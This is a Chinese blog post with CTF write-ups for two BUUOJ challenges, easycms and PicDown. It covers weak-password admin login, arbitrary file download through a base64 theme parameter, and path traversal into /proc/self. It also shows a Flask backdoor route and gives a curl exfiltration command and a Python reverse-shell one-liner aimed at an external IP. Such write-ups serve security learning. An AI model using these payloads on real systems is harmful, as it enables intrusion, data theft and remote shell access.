本文已参与「新人创作礼」活动,一起开启掘金创作之路。
[GKCTF 2021]easycms
任意文件下载
进去就是一个类似企业的官网
该类题我都先扫描一下目录
kali扫一下
发现/admin.php
因为题目hint是后台密码为弱口令五位,盲猜12345用户名admin
进入后台,找了一会没发现啥可利用点
然而我在导出主题的时候发现下载链接
http://07ffb660-1dec-4844-a5e8-598d40d675a0.node4.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMi56aXA=
后面是base64编码
/var/www/html/system/tmp/theme/default/2.zip
那我们是不是可以直接利用这个下载flag呢
假设一下flag在根目录
&theme=base64(/flag) //L2ZsYWcg
我们试一下
http://07ffb660-1dec-4844-a5e8-598d40d675a0.node4.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
flag{c76249ce-00b2-47af-b0e7-beb62ef170da}
很惊讶任意文件下载可以这么利用,学到了学到了
之后看到大佬们博客还有另外两种方法(而且还更简单),这里简单说一下
1.编辑模板文件直接rce
即在主题自定义里可以直接添加php代码cat flag
2、文件上传+模板
后台地址admin.php扫描出来,然后弱口令admin/12345登录后台。
编辑模板处可以添加php头,但是需要在system的tmp目录下有某个txt才会生效
上传组件素材的地方通过修改名称可导致目录穿越创建文件至system目录
保存成功后即可保存另外一个模板文件,即可rce
学费了学费了
[网鼎杯 2020 白虎组]PicDown
进去后只有一个输入框
传个值进去,发现URL很有趣
http://30626b6b-0584-4963-adc4-9a93206e69f1.node4.buuoj.cn:81/page?url=123
我们根据url看看是否能够文件读取
测试了一下
?url=../../../../../etc/passwd
还真可以
那试试能读flag吗
../../../../../flag
flag{d851e218-f2e4-4e23-9e0c-6f46dfa9c17a}
但感觉比赛题应该没这么简单,去看了下wp发现果然是题目漏洞
正确的做法应该是
读取这些
/proc/self/environ
/proc/self/cmdline
读一下/proc/self/cwd/app.py
发现代码
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
//简单审计一下,密钥在/proc/self/fd/3里面读到,然后传入密码和shell,就可以执行了
网上看大佬们有两种解法
1.curl反弹shell
?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=curl 118.***.***.***/`ls /|base64`
因为结果里有换行,日志里只能显示第一行的内容,所以还要base64加密一次
2.直接python反弹shell:
?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
然后直接读flag就可以了